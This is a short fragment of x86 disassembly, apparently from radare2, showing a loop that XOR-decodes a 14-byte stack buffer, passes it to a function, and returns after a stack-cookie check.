mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xe
jl 0x40a360
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
xor ecx, esp
call fcn.0040b8b7
mov esp, ebp
pop ebp
ret